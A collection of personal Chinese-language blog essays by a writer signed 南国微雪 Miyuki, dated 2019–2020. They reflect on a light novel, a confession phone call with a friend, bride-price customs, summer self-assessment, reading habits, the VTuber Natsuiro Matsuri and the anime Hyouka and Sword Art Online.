　　私以为这本轻小说，更类似于文学。虽说作者在后记中说，自己并不打算透过这部作品去谈论什么自己关于人生和爱情的观点，但是行文过程中，却又段段扎在我这种类男主心理的人身上。

　　开场扑面而来的和风气息，炎炎烈日的描写让我想起了《命运石之门》的画面，都是类似的氛围。

　　我并不打算从文学和角度拆解文字，因为会彻底失去美感。只是感慨，感慨作者和译者的水准。尤其是译者，复古的 “真是教人大感意外” ，给人一种难以描摹的美。

　　通篇看下来，整篇小说前奏压抑得让人难受，也就是因为如此反差才过于强烈。

　　想起了我自己。不清楚是不是因为上了大学读的文学作品过少，让自己的情绪防线变得如此脆弱，还是说自己的共情能力在默默然中毫不自知地提升了，总之，这本书读完有种难以言尽的酸楚的感受。

　　其实在楠木要去准备完全卖掉自己寿命的时候，我已经隐隐约约察觉到了。因为是我的话，也会这么去做。因为已经习惯了自己在一旁静静地注视着别人变得幸福。为了自己喜欢和爱的人，愿意倾尽全力去做些什么，似乎这样，比为自己做些什么来得更有价值，也更能获得真实感。而一旦这件事情牵涉到自身的时候，又会觉得无尽迷雾不知所向。在这一点上，楠木和宫城都有些相像，但起码宫城最后知道，自己的前路在何方。

　　但是最后的结局，我是一点都没有猜到。

　　我原以为，宫城会真的就此获得幸福。如同楠木，抑或自己，意外得到的，这样的幸福。毕竟有过先例，还在自己的身边，在她身上发生一次又有何尝不可呢？而自己会就此逝去，促成她在渺茫不定的未来的那一簇幸福之后，伴着心满意足和一点点遗憾消失。楠木这类人，最习惯也最擅长的，就是这种事情了。

　　然而没有。

　　当宫城真的出现在眼前的时候，我同样充斥着不解，迷惑和疑问。

　　然后当了解了一切之后，我恨不得痛斥宫城是一个笨蛋，无可救药的笨蛋，笨到无以复加，笨到无法形容。让自己的心愿和努力一切都付之东流，还要搭上她的前程与未来。

　　但是关掉手机屏幕冷静之后，我也只能一下瘫坐在床上，然后无奈地笑笑。思来想去之后，我还真没有考虑过这样的情况，当自己俨然成为别人幸福的一部分之后，自己又会怎么做，又会对别人产生什么样的影响。

　　要我是楠木的话，可能最严厉的惩罚，也就只能是，对这个可以说是不速之客的女孩的额头上，狠狠地弹上一下吧。

　　毕竟随意花掉来之不易而且意义不菲的三十万日圆，和她违背自己的意愿做出的事情没有本质区别，我也没什么资格去惩罚这个从各种意义上来说都拼了命的人。或许是有的，但我想这个时候，他们都已经不会再去在意了。到最后，我相信，那几天，会远超过无数个平凡之致的日子。当然我也不是他，我也不知道他怎么想。只是希望能够善待他自己的幸福罢了。

　　说回我自己，其实现到如今，虽说痛下决心了，但我仍不知道该怎么做比较好。

　　小说毕竟是小说，文学也毕竟是文学。现如今的生活，虽说并没有楠木那般糟糕，但也并没有像宫城那样的女孩愿意来到我的身边，陪我一同度过漫无边际的时间。我找寻过，但似乎总不尽人意。

　　我的最终目的，也就只是想和她一起，抱在一起，手牵手看时间偷偷从身边溜走。安心感对于现阶段的我来讲，甚为重要。但我总不愿意说这些，感觉说出来过于羞耻。

　　可能对于在钢铁洪流，不容喘息的现今社会中，表露自己的真情与软弱，是不受待见和容易被嘲弄的吧。每个人的生活都不容易，为什么你这么矫情呢？总是有着这样那样的说辞，一套又一套能让人被迫戴上面具的，能给人致命一击的说辞。

　　读完后我坐在床上怔了很久。感觉触摸到了什么，但又感觉什么都没有捉到。

　　后记中，作者说自己也是笨蛋之一。现在看来自己应该也是身列其中吧。要不是这样，喵喵又怎么会让我看这本书呢？

　　现在，这个笨蛋，想要医治自己。但是，又该怎么去做呢？

　　说到底，伤害了这么多人的我，能获得这种奢侈的东西吗？


　　南国微雪 Miyuki

　　2020 年 12 月 30 日

前行

　　虽然取了这么一个好听的名字，但是并没有想好该怎么写。只是觉得，今天终于鼓足了勇气。 要说有什么实质内容的话，我想，大概也就只有记录一下我们的对话罢了。

　　刚打给珍的时候，是用的电话号码，但她说她那边听不到声音，我就只能换成语音通话了。

　　也好，留作纪念吧。

　　刚听到声音的时候，她那边有一些嘈杂。不知道是在干什么。 正好是个切入点。从这里延展开来，聊了很多，像是缓和气氛一样的感觉。终于那个时候还是到了。

　　“你要说什么呀？”

　　“嗯……”我犹豫了一下，“那我开始说了哦？”

　　“嗯。”

　　之后我絮絮叨叨地开始说，她嗯嗯地应着，时不时插两句话。

　　我最终还是说出来了。我对她朦胧又模糊的感情，像朋友似恋人的感觉。原原本本，毫无保留，倾泻而出。措辞，却是记不清楚了。所以我也不清楚自己是否能够传达到。

　　我不懂得喜欢是什么感觉，我也说了。

　　我记得她的回答。那大概是像和我一样保守的样子。

　　“我觉得，是你定位不太对。我记得我给你说过的吧，我相信异性之间有纯洁的友谊。可能你是有点类似于我哥哥那样的感觉，我哥哥他对我很好。然后你不懂这是不是喜欢，但其实这可能只是好朋友的一种普通表现。”

　　诸如此类的话，说了很多。

　　我不懂啊。我很懵啊。我也——迷茫啊。

　　一些话下来，总有一种，她想把我拉回闺蜜这条路上，而我有一种想发展成恋人的趋势，虽然都没有明说，但给人一种这样的感觉。可能她并没有感觉到，是我太敏感。可能也是我的私心。毕竟，长久陪伴我的人，我都想拴在身边。也可能是她的私心。毕竟，好朋友这条路，永远是最安稳，不会出意外的道路。不用费脑筋考虑那么多，也不用担心将来会发生什么大的变动。

　　是啊。朋友这条路是最稳妥的呢。

　　是啊。是最安稳的呢……

　　最保险呢……

　　……

　　而这都是基于我询问的，我在她心目中的印象，而总结出来的。

　　 至于问出这个问题的根由，只是因为，我觉得我和她之间的关系极不平等。

　　 我感觉从她身上索取了很多的温暖、情绪、帮助……很多很多。而她的困难、沮丧、不安却很少对我说过。显得我像是一条寄生虫，感觉上很讨厌，也怕是惹起厌烦。

　　但她似乎从来没有这样想过。都是平等的，她说，至少，她一直这样认为。

　　继续往下深挖本质，得出来的——性格不一样，阐释了这一切。珍说，她很少对别人分享自己的生活。因为她觉得，没有必要。不止因为这是她自己的生活，也因为，不想让别人为她而担心难过。

　　她说她小时候跌倒了，损伤了，身体哪里出问题了，都很少给父母说过。不想让他们担心。

　　看来又是一个傻孩子。一个笨蛋。

　　而我自己偏好于分享，所以反差明显，而给我以强烈的落差感。

　　“那我在你心目中地位怎么样呢？”

　　“你这个问题……我不知道怎么回答啊。”

　　“那我问你啊，重要的人，次重要的人和不那么重要的人，你会把我放进哪一栏里面呢？”

　　“我不懂啊……我不知道哪些是重要的人……”

　　听到这里，我觉得，可能珍比我想象中的，都还要笨蛋一点。区分不了对自己重要的人。

　　“你是怎么区分的呢？”她问我。

　　“放在极端的情况下考虑。”我想了想，这样说道。

　　“比如，你有男朋友了，可能我不太愿意——但这都还好，”我说到一半，突然想到，“假如你要是出了什么意外——当然这都是开玩笑。可能我需要花很久时间，才能走出来。两个月到半年的样子吧。”

　　“这么长时间啊？”她似乎有些诧异。

　　“对呀，是不是瞬间觉得自己的地位很高？”我笑着问。

　　“有一点吧。”她也笑着回答说。

　　“那假如我出了什么意外，你会难过吗？”我突然想很过分地问这么一句。

　　“会的吧。”她没有迟疑的样子。但我还是猜不准她是怎么想的。

　　因为话题好像不太好的样子，我迅速地转移了。但就结果来讲，我觉得还是她转移话题的能力比较强一点。

　　“假设，只是假设，如果我今天表白了，你会怎么做呢？”我最终问出了这三个核心问题之一。

　　“嗯……”她犹豫了一下，“讲清楚，然后我们还是好闺蜜。”

　　说实话，我对于她这个回答有点摸不着头脑。似乎“讲清楚”这三个字里面包含了太多的东西。

　　后来我重提的时候，她才说，大概是她想让我们继续做好朋友吧。这样看起来，她也不想因为我的突如其来而结束这段关系。

　　“如果只有接受和拒绝，你会选择哪一个呢？”

　　“拒绝吧。因为像你说的一样，我也没搞清楚过喜欢是什么感觉。但还是想做好朋友。”她是这么说。

　　“原来你跟我一样啊。”我笑开了。

　　“差不多吧。”她也笑。

　　后来就这个喜欢是什么样的感觉这个话题，我们聊了很多，然后慢慢地知道了她心里的想法。之后就慢慢地说了出来。我问她，她是不是那种，别人表白了，因为对他没有明确的喜欢的感觉，对别人不太好，所以拒绝的那种人。她笑着插了个嘴，说，是对自己和别人都不太好，然后同意了我的说法。

　　“但你这样是个死循环啊。因为没有喜欢的感觉，所以拒绝，但你又没搞清楚喜欢的感觉，一路拒绝下来，这不是单身一辈子吗？”我无语了。

　　她沉默了。

　　良久，她才开口：“我相信会遇到让我感觉特别喜欢的人，他会让我体验到那种感觉。”

　　“但是到时候，你又怎么能确认那是喜欢，而不是其他的感觉呢？比如特别要好的朋友，类似于我现在的情况。你说我定位错了，但实际上你也不清楚准确的定位是什么吧？万一你也因为这个搞不清楚而错过了呢？”我都被气笑了。

　　她又沉默了，然后坚信她的感觉。

　　或许这就是信仰一样的东西吧，我不由得这样想到。

　　我不知道她会不会在这种朦胧的情况之下，找到自己心仪的人，我只能这样祈愿了。也只能这样给我自己祈愿了，找到自己的女朋友。

　　“如果我找了女朋友，你会怎么做呢？”我突然想到了这个问题。

　　“怎么想啊？”她似乎在思考的样子，但是把“做”换成了“想”。不过无所谓吧。

　　“恭喜？要不然你还要我出份子钱吗？”她笑着打了个岔，所以我搞不清楚她“恭喜”的疑问语气到底是指，她不知如何是好，还是心理不太接受。

　　当然后者更多可能是我自作多情吧。

　　不知道话题是怎么切过去的，我们又聊了很多杂七杂八事情。

　　聊到了以后。

　　我劝她要多想。因为有些事情不搞清楚是无法进行下去的，或者说，会进行到一个错误的方向，到时候可能无法挽回。不仅是感情，也是对未来。

　　然后她抱怨每次跟我聊天都会把她搞得很迷茫。

　　“那还真是对不起呢。”我笑开了。

　　不过其实我也很迷茫啊。虽然你总是觉得我目标很明确。

　　不过既然都聊到以后了，我也把我原来许多晚上做的猜想一并说了出来，鼓足了勇气。

　　“目前你是想走研究生这条路吧？”

　　“嗯。”

　　“我跟你说过我毕业想出去工作吧？”

　　“嗯，说过。”

　　“我之前有过一个想法，到那个时候，我去租一个小屋，你能和我一起住吗？”

　　我到现在都不知道，我当时是什么语气，以及当时具有多大的勇气。

　　“我不知道啊。”

　　——她还是这句话。

　　“感觉现在不确定的事情太多，那个时候再说吧，”她好像犹豫了一下，“而且我也不知道，到时候你有没有女朋友，我有没有男朋友……如果我有男朋友了，这样做似乎不太好……”

　　“你有男朋友了我肯定就不会找你了呀。你找我我还不敢呢，”我笑了笑，然后悲凉地继续说，“至于我有女朋友，你放心好了，我觉得大学是不大可能的。”

　　她也笑了。

　　我还是猜不透她是怎么想的。透露出也不是不可以的感觉，但又不太情愿。

　　我一厢情愿的技能似乎越来越熟练了。（叹气

　　最后在日常之中结束了长达半个小时的聊天。


　　总的来说，我觉得她一直在逃避什么，有的地方却又莫名其妙地坚定。但逃避什么，坚定什么，我却都不太清楚。

　　一通电话打下来，似乎解决了什么，但好像又没有任何作用。

　　珍转移话题和模棱两可的技术让我为之咋舌。可能还是我不太成熟吧。

　　两个笨蛋都在逃避。

　　两个笨蛋都不清楚。

　　两个笨蛋都很迷茫。

　　我还没想好接下来的路怎么走。

　　我也还没想好这些事怎么解决。

　　一切都还处于迷雾之中，没人告诉我方向，但又不得不去处理。

　　至于我接下来的行动是不是正确的，有没有贸然的成分和过失，亦或又有哪些值得嘉奖的地方，只能交给时间，悠悠地去验证了。

　　但或许，

　　这就是我重拾行囊，继而前行的第一步吧。


　　南国微雪 Miyuki

　　2020 年 10 月 23 日

哥，咱家要散了

　　闲来网上冲浪，看到这件事给我人看傻了。

　　身为一个感情中毒之人，我深知断舍离一段 8 年的感情会有多难，但也并不能成为一个借口。一个如此长久以来，分辨不出其文化浸润和思想的借口。

　　我在这里不上升到什么国家，社会，体制的高度，因为对我们这一代凡人来讲，那些都是遥挂天上，无关痛痒的星星。我只想聊聊我自己一点点的偏激看法。

　　吊桥效应，听起来感觉不太可能，但有特要好的朋友的人应该都明白，这实实在在是有可能的。我们有时候只是对一段想法下了错误的定义。可能觉得自己喜欢人家，但事实上，贪恋的可能只是在其身上的安定感也说不一定。对于越长久的感情和经历来讲，因为放弃的成本很高，所以有时候会欺骗自己，舍不得在上面投放的时间、物力、财力、人力和精力。这是现实生活中吊桥效应最常见的两个例子。

　　私以为这事件中当事人就在这漩涡当中不能自拔。人究竟是动物，止损是先天本能， 但这个世界很多事情是正反馈调节的，即坏的更坏，好的更好，也即马太效应。如果不能及时脱身，可能就会像如今的大学内部一样，把自己卷得四分五裂直至崩溃。

　　所幸这哥们儿已经醒悟了。

　　再说女方。

　　我只有一点感想：有很多事情是明知错误但无力改变的。我对于这个家庭做了很多猜想，但终究是臆测罢了。从小培养来的性格、想法、世界观、行为模式、处事方式等等很多都是根深蒂固，并非朝夕之间能更改的。或许这个女孩子知道父母要这么高的彩礼不对，但不敢反驳，更有可能掺有私心，觉得要这么多钱对自己也有好处，但终究不得而知。卖女儿在当事人的叙述措辞里面显得尤为刺眼。

　　似乎结婚是从女方家庭里面割肉抽血，没有彩礼麻醉就会疼得要死要活，以致男方怎么安抚劝慰都收效甚微。 这大概就是发展太快导致的思想病变，发生在老一辈身上，然而由于道德伦理，新生代知道这个观点不正确却无法摆脱。稍微厉害争论一点便立即会被扣上“不孝顺”“不听话”“养你这么大真是白瞎眼了”诸如此类的大帽子。这个只能等待时间去慢慢冲淡了，在这里我只能期待新生代不会秉持这个思想去荼毒下一代。

　　毕竟结婚只是象征着一个新的家庭，它不隶属于任何东西任何事物，是新生于这个世界的美好事物之一。 彩礼理应是原生家庭对新生家庭的扶持，差里讲也应是贺礼，但绝非是赔偿和抚恤金一类的东西。

　　再说这个令人极其心疼的妹妹。

　　她念高中。我偏激地以为，许多事情，应是起码上了大学才能慢慢考虑完备的。但正因为这样，幼时的稚嫩和成熟才显得宝贵，那是成长的一部分。过于早熟和懂事只会让人觉得心疼，因为失去了那个年纪本应享受到的东西。

　　妹妹就是这么一个角色。

　　她很清楚发生了什么。

　　她明白接下来会面临什么困境。

　　但这样还是去支持了兄长。

　　这样让人心疼的孩子，换做是谁，都应该去珍惜。而不是仅仅披了一个名叫“家人”的外衣，就应该被“无条件支持”而绑架。

　　所幸这哥们意识到了。

　　最后聊聊他的父母和无辜的房子的事。

　　为人父母，总想孩子有个伴侣，人之常情。在这个年纪，为孩子感到着急也可以理解，人之常情。但两件事情相糅合却让这个事情显得如此违背常理。百依百顺，这是我对他们的看法。现在许多人都觉得结婚的主动权在女方，她们想不结就不结，完全忘却了自己手上也有另一半的主动权。结婚是两个人的事，谁都知道，但是做事却不那么想。 任何人都不应该对另一个人百依百顺、无条件服从，听话是出于情谊，而前者则有一种失了尊重的意味。

　　不说现在房价有多贵，这哥们儿今后是否还能买得起房子。就说房子的重要性。房子应该是最能给人安定感的东西，因为那是属于自己的东西，不会动，不会跑，为自己服务，别人也抢不走。工作下班回家回到自己的一片天空，想做什么就做什么，是无上的幸福。租房子，用的总是别人的东西，给人的感觉就截然不同。不仅定时给钱有压迫感不说，总是要为后面的事情考虑。搬家麻烦，而且每次看见屋内的陈设总是在变，相信无论如何也给不了人安定感。

　　一个普通人，正常生活应该是能够买房，结婚，生子，抚养，终老，离去。但是现在却连最基本的前两个都做不到。这个现象背后是什么在作祟？或许我们知道，也或许不知道。但我更相信是许多人知道，但不敢说。或者说，说了也改变不了什么。

　　你我，终究是个普通人罢了。

　　我作为一个陌生人，衷心希望那哥们儿最后能过得好一点，算对得起妹妹这份让人心疼的心情。也衷心希望，国家能够慢慢将这种病态的死结缓慢割掉。


　　南国微雪 Miyuki

　　2020 年 9 月 25 日

暑期总结与瑰想

　　因为不想做工作，索性来写这么一点东西，可能算作一个暑假总结吧，也是很久都没有发过单独的东西了。

　　说实在的，暑假下来，效率，工作量什么的离我自己预期的差了很多。不过因为从小学的时候一直就是这么过来的，大概也已经习惯了吧。私以为，自己预期的学习成果，大概是永远都达不到的吧。至少现在是这样。因为不知足。眼里始终盯着自己没有接触过的知识，但是自己学了多少，身后又躺了多少掌握的东西，根本就不知道。有点像黑洞？疯狂地吸收着其他东西，但是吸收到的东西又不知道被扔到了哪里去。

　　或许这就叫贪婪吧（笑。也不知道是好事还是坏事。

　　可能这个暑假最大的遗憾，就是没有好好地画画和学日语了。因为这两个东西本来是在我的计划之内的，但是并没有完成多少，很苦恼呢。两个月期间也发现，其实做工程也是一件很辛苦很辛苦的事情。像是要在一块很大很大的花田里面，收集风信子，要地毯式搜索，工程量还大。收集完一朵的时候抬起头，望着山山海海的花儿，想着它们还要等着自己确认，总会觉得有点遥不可及。于是坐在地上丧气。但是感慨完之后，还是得拍拍裤子上的泥土，继续前进。

　　有时候啊，自己也会想，自己身在这块花田里面，看漫山遍野的花儿随风摇动，真的幸福吗？

　　这便是我在暑假的日常了。有的困扰之处还在于，有些问题是隐形的，自己发现不了。手上拿一朵酷似，但并不是白色风信子的花儿回去，终究是会被说教一通的。还有的就更明显了。有的风信子长在很高的地方，搬一块石头垫在脚下，踮起脚尖还是够不到。只能看着它微微地发散太阳的光。或许这样就够了吧，拿不了也罢，但心里短不了有些遗憾。

　　感觉在假期收获了一些东西，也似乎什么都没有得到。捉到了努力的影子，但又没有实际的体验。反反复复地晕在这些模糊且没人知晓答案的感受里，推进着一天又一天。想想也是，这些东西谁会给你答案呢？一切都只有自己知道。不过或许就是因为这些蠢萌蠢萌的脑细胞，给不了我们明晰的回复，我们才有信心和勇气越过黄昏，忍受黑暗，期待明天的到来吧。一切闪闪烁烁，包含悔意和倦意的“浪费时间”，或许，只是给我们带来希望的副作用罢了？

　　只是个人的猜想呢。

　　自己啊，勤快的时候是真的勤快；懒的时候是真的懒；忙的时候也是真的忙；闲的时候……闲的时候……似乎没有多少闲的时候。约莫是因为，自己从来没有给自己规定一个合理且正当的休息时间，才会觉得自己没有闲的时候。才会觉得自己成天摸鱼，带着悔意吧。不过，要自己心安理得地玩，真的是一件十分困难的事呢。那种“你必须要努力，不要再玩了”的理念，不知道什么时候已经根植在自己的脑海里了，连长出芽，结出果实了都说不一定。

　　自己啊，真是一直没变呢。给别人说劳逸结合，不要勉强的时候一套是一套的，放自己身上却很难接受。别人劝自己休息的时候只会心头一暖，然后继续我行我素。大概家长们会喜欢我这样的孩子吧，但于我来讲，我只想把自己丢到海里去（笑。

　　毕竟是个，自己有没有在勉强自己都不知道，自己喜不喜欢别人都不知道的笨蛋微雪呢。

　　不知道什么时候，这样自相矛盾的生活，相互挫败的自己才会醒来啊。或许明天被别人弹一个脑门就醒悟了，或许未来被小行星砸到脑袋宕机之后会顿开，也或许，这种日子，这样的自己永远都会持续下去吧。这么一说还感觉自己有点固执己见，冥顽不化呢（笑。

　　记事到现在，总觉得精神上的变化要远大于身体上的。但现在成就了这么一个木讷讷，敏感又傻傻的精神体，自己也是颇为无奈，不知如何是好啊。要是能一直都是小孩子就好了。

　　因为自己一直都没有什么很厉害的自知之明，所以想要自己能够给别人带来一点好的东西，以寻求自己存在的价值和意义。如果有收到来自我的好的影响的话，请告诉我，我真的很想要呢。微雪会非常非常开心的！（因为是个没有自知之明的笨蛋

　　好像跑题了呢（笑。

　　总之，希望自己能够一直加油下去吧。不过分在乎别人不会在意的东西，努力学习下去，善待自己。可能最需要修正和改变的，就是这最后一条吧。过去的已经过去，再悔也不能改变了，连带着过去摸鱼的份，好好地活下去吧。

　　去时不问路阻远，遥看回首已远方。这，可能就是我想要的模样吧。


　　南国微雪 Miyuki

　　2020 年 9 月 7 日

随便聊聊

　　今天意外地想要写点什么，不知道会有多长，尽量短一点吧，太长没什么人看。

　　早在敲下上面那句话之前，我就总觉得我们的生活越来越快。像是在趋向些什么。更多人喜欢碎碎地读，短短地看，包括我自己。有时候一看见文章长了，需先迫自己冷静下来。

　　只有像是纸质书本那样传统的东西，似乎才能真正让人静下心来。

　　说着，我想起了我曾经的一段时光。

　　那大概是我高中接近尾声的时候了，放假，父亲叫我一同随他去干活儿。正好买了本《三体》，也就一起带上了。那时候很热，似乎蝉都化掉了一样。但是我竟能在太阳下面，看得入迷，一行，一行，再一行。彼时父亲唤我有时都不自知。《三体：死神永生》啊，那么厚一本，我竟两天看完。

　　现在想想，我还真是无比羡慕那段时光啊，上了大学以后我就很少看书了。那种痴狂状态更是濒临绝迹。大学已然这样，工作以后呢？

　　……

　　现在读书最多的应该是学生时代了吧。那些名著，约莫也只有这时候才会去碰一碰了。都说名著是精华，有谁不知呢？但是就像那些被传烂了一样的道理罢，总还是要到一个晚上，想起那天发生的事情，抱头掩面痛哭之后才会明白。在那之前，不过只是听过一个句子罢了。

　　我好像已经很久没有像之前小时候那样，趴在一个透明的玻璃杯前，静静地看着白开水里面的小小颗粒们沉淀下来了。

　　总是被“浪费时间”这四个字，魔一般的怔住，然后疯狂行动起来。尤其是现在，总觉得自己学得太少，要抓紧时间学点什么。心里总有一种迷雾一样的东西，携带着焦虑和成为人上人的期望，迫使着自己去了解更多。

　　这究竟好吗？

　　就算是乔布斯，在大学里也还去学了艺术字呢。而不到 20 岁的我，又在急些什么呢。想想觉得自己有些好笑。大概是这钢铁洪流同化了我吧。

　　这社会，这文明确实是在逐渐发达，甚至像是《三体》说的那样，是在爆炸。

　　但我总隐隐地觉得，不论是人，还是社会，不断加速背后，都会带来灾难性的后果，像是指数，也像是，被黑洞吸引后，不仅无法逃离，速度还越来越快的物体。

　　不过这些应该还轮不到我来担心吧（笑。

　　我现在，大概，只是应该，去找一点无意义的事情做，让自己的心慢下来吧。


　　南国微雪 Miyuki

　　2020 年 3 月 23 日

色气之下，清纯最大

　　推过 V 圈的的人多多少少都听说过“呼吸”一梗，而这个梗就诞生于这篇文章的主角。希望我能在这小小的篇幅里，能最大限度地为你们展现出这个名为夏色祭的多面少女身上，那种动人心弦的魅力。

　　夏色祭是 hololive 会社下面的一期生虚拟 YouTuber，设定上是一个元气女高中生。这个极其普通的设定下为什么会有无数人为她倾倒？我想不同的人会给出不同的答案。不过，多多少少了解了其他成员之后，再去看看她，我想你会知道，这些答案为什么大同小异。

　　首先，第一印象——真实。这是别于同社其他成员的最大感受。这种感觉像是，她把一个完整的自己交给你去了解，糟糕的，可爱的，理智的，脆弱的，开心的……你几乎能看见到她各个方面的姿态。这样的人物是立体的，她会随着观众改变自己，但是，更多的是坚守真实的自我，不随波逐流。她像是在对着所有人说，我就是这个样子，像你的至交，你能看见我的光芒，但也会知道我在幕后的辛酸与软弱。

　　这样的真实会给人带来一种无与伦比的安心感。以其为钥匙，打开她各个不同话题的视频，你会发现，这只是她魅力的冰山一角。而她最大的的杀手锏，无非两个——高攻零防，和清纯+混沌的双重叠加。

　　这两者有着重合性。

　　这个 hololive 里最“牙白”的女人能够糟糕到几乎每次直播都在封禁边缘疯狂试探，开口就能引起问号风暴，甚至于专门开了两期专栏来探讨萝莉的美妙，让字幕组的人为了过审几近黔驴技穷，恨不得越洋暴打她一顿。当然，她远不止于此。

　　“如果你只能与你的朋友交换身体的一样东西，你会换什么？”

　　“子宫。”

　　这个字眼让全直播间里的人都傻了眼。此时同步翻译的人，双手离开了键盘。他知道如果不这样做会让直播间瞬间完蛋。然而这个同传自己直播的时候，却说自己已经习惯了。夏色祭的同传基本都有过这样的思想准备和经历。

　　她会教授自己的四期生后辈各种各样糟糕的知识，也能在 MC 里对着一个异常纯洁的孩子狂按 shift……

　　她可以当着联动对象的面说出最为色情的话语，然后等着看对方的反应。如果对方懂，那么此时直播间将会在高速路上狂飙起来，如果不懂，她会扯上她的联动对象奔上超音速汽车的驾驶座。如果装纯怎么办？大概会是直播间爆破吧，给你一个词一个词地解释，直到你面红耳赤，哭着求着要她别再讲下去。

　　她几乎对着每一个女孩子都能呼吸，“我爱你”、“大好き”什么的更是张口就来。联系着她抛弃直播间，能当众对你表白的强大攻击力和混沌力，让每个跟她联动的 VTBer 事先都要审视下自己会不会产生 PTSD。

　　她还有更加糟糕的事迹，有的夸张点可以让一众人怀疑人生：我不知道的，她怎么全知道？在这里如果要细数她的混沌罪孽的话，怕是罄竹难书。

　　这种形态，我们称之为“夏哥”。

　　还有一种形态，被叫做“祭妹”。那是她极度混沌色情的外表下掩藏的，清纯无染的样子。听起来很疯狂，不现实，不是吗？但事实就是这样。

　　这个“祭妹”与“夏哥”形成的悬崖式反差，疯狂地撩拨着每个遇见她的人。

　　就是这么一个糟糕的人，会现在开始为未来着想，会拼命努力地存钱，只是为了不让她未来的孩子想学什么技能的时候自己却无能为力；

　　就是这么一个糟糕的人，会在搬家出去的时候，因为想妈妈，在直播间里哭起来；

　　就是这么一个糟糕的人，会在她自己 24 小时直播时，得知远在中国的同传们为了翻译她的话已经过度疲惫时，一转能让他们轻松的下来的歌回，即使那个时候她的嗓子很疼不适合唱歌；

　　就是这么一个糟糕的人，会因为自己仅仅某一次的直播睡过头了，用极其内疚和自责的语气跟你道歉，并加班补偿一次“谢罪直播”；

　　就是这么一个糟糕的人，会在某天晚上，哭着向你表白，祈求你能陪在她的身边；

　　就是这么一个糟糕的人，会认真挑选送给自己后辈的礼物，只是希望能看见她的笑脸；

　　就是这么一个糟糕，这样一个花心的人，会一直坚持着对同社的白上吹雪好，即使有一段时间吹雪疏远她，她也从未放弃；

　　……

　　“夏哥”层面的攻击力异常之高没错，但是弱点也极其明显——没有防御。只要被攻击，无论攻击力有多低，都会变成“祭妹”。像是星川后来发出来的推特那样，她被星川打得落花流水。

　　“呐~我们接下来去哪里呀？”

　　“……love hotel”（夏色祭开始攻击）

　　“诶？可以哟？去吗？”（星川开始反杀）

　　“诶……啊……这……这样不太好吧”（夏色祭瞬间倒地）

　　如果这里只是话语看不出来的话，那么让我们把目光转向 3D 的动作捕捉吧。

　　在与白上吹雪的身体互换 3D 联动的最后，当吹雪最后用着不同的语言向着夏色祭表白时，她拼命地用手捂住自己的脸颊，以及用手作扇子向自己的脸上扇风，企图让自己的脸不那么烫。加上 3D 模型那害羞的表情，隔着屏幕都能感受到夏色祭那满满的少女情怀。而当夏色祭试探性地，羞怯地向吹雪伸出手想要牵手的时候，那样的清纯几乎快要将你包围。

　　大概是因为看了太多夏色祭糟糕的一面，这种不经意间流露出来的小动作，对着我们祭丝有着魔一样的吸引力。表现出来的糟糕是真的糟糕吗？或许是，又或许不是。但是，这样完全下意识做出来的小动作，绝对是她灵魂的真实写照。那又是一颗怎样羞涩，满怀少女纯真的灵魂啊。

　　糟糕是她，可爱是她，在直播间里放肆狂笑的是她，窝在被子里软软糯糯像孩子一样的也是她。就是这么一个多面，真实的人物，一击命中我们想要疼爱她的那个心底最柔软的地方。

　　她就像是一个调皮的女儿，又像是一个努力的朋友，我们现实中遇见的所有人，多多少少都能在她身上找见影子，然而她身上又有着我们现实中很难看见的属性。这一切的一切，都通过她的体验，话语穿越夏色祭这个动漫立绘真真切切地传达给了我们。在浮躁的社会背景下，在网络这个除了声音和图像之外什么也触碰不了的环境下，我们了解到了这么一个糟糕又可爱的小天使，这难道不是我们的幸运吗？每个人一生又能深入了解多少人的人生呢？又有多少，像她这般呢？

　　或许，这才是我们喜欢他的最大理由吧。


　　南国微雪 Miyuki

　　2020 年 3 月 6 日

追随

　　近几天，把这两部动漫看完了。

　　近乎令我惊讶的就是，两部都多多少少涉及到一个差距问题。

　　《刀剑神域 Alicization 篇》只是稍微涉及了一下这个问题，至于能够体会出来，需要读者的悟性。主题更多的时间是花在爱与羁绊上。

　　《冰菓》则更像是一个情感的总汇，很多，很杂并且不容易懂。冰菓就是这样一部动漫。你要明白这一章的主题，就必须要去找细节，像是寻找草丛里的小动物一样，看到它在太阳下反射的光芒时，你会明白，它想要传达的东西。

　　它们都有着一个相似的情节：为了一个所仰慕钦佩的人，毅然决然踏上追随的道路，却在有意无意之间，在自己的后辈身上，印下了身影，从此又有人开始追随他们。

　　想想是一个很美好的事情。但是两者表达的感情色彩却有悬崖式落差。

　　《刀剑神域 Alicization 篇》始终贯彻爱这一信念的力量，在追随中加入了温暖的影子。为了追随一位对自己很重要的少女来到国都修剑，却潜移默化了另一位少女，为了配得上他，这位少女开始追随自己。

　　《冰菓》却在这元素中混入了大量冷色调。一位从未认真对待过漫画的人随手一画，便画出了堪称神作的同人志。然而和那些傲慢天才一样，他从此封笔，不再涉足。为了追上他，同时让他意识到这个领域的价值与可爱，一位少女努力奔跑。当发现她的想法传达不到，停下来时，自己却已然是一名优秀的创作者。然而，追随者在仰慕着她的同时，依然承认着，那绝对的鸿沟。

　　像是一把盐和一包糖同时撒进水里，你先品尝到什么，这杯水就是什么味道。

　　相反价值观的结合，让这个问题瞬间变得复杂了许多。自己在向着仰慕之人极力靠近的时候，有人在极力靠近自己，这种追随链无疑是美好的。但只要牵涉到比较，就是会有伤害的。在为别人播下向阳的种子时，伴随了多大的绝望，却是因人而异的。

　　而当我们把审视的目光从自己予后辈，移到前辈予自己时，一切都又变了。

　　甚至连我们自身也忽略了，我们自己身上本可以成为闪光点的东西。那是否本来是某个人播给我们的种子？那样一个美好的东西，是否又在自己与那个人的比较之中黯然失色？甚于畏畏缩缩拿不出手？

　　如果是，那又该是多么令人痛心的事情。

　　毕竟，在《冰菓》那位少女哭着跑开时，脸上的表情是那样的让人难过。而当我们看见她在栏杆上画下的自己的标志时，那则是一个让人完全崩坏的时刻了。

　　让人愈加心疼，却愈加无可奈何。正如男二和男主的差距一样。

　　我只是想，看见，你的背影啊。


　　平时本来不会想这样多，但看动漫时总是能牵起千思万绪。动漫本就只是一个放大镜，把现实中的问题或温暖夸张无数倍拿给人看，却总有人笑它太赝。

　　或许失去动漫这个媒介，我们会失去很多东西。我这样想道。


　　南国微雪 　　

　　2019 年 12 月 31 日

一点看法

　　我相信，国人从来不吝于把自己的文字传播出去。人们自身对于自然的认知，从来不应囿于拼写文字的组成字母。以为认识了组成字母就认识了整个世界，本就有一种悲哀和傲慢。

　　然而汉字也在退化和萎缩，这是不可否认的事实。

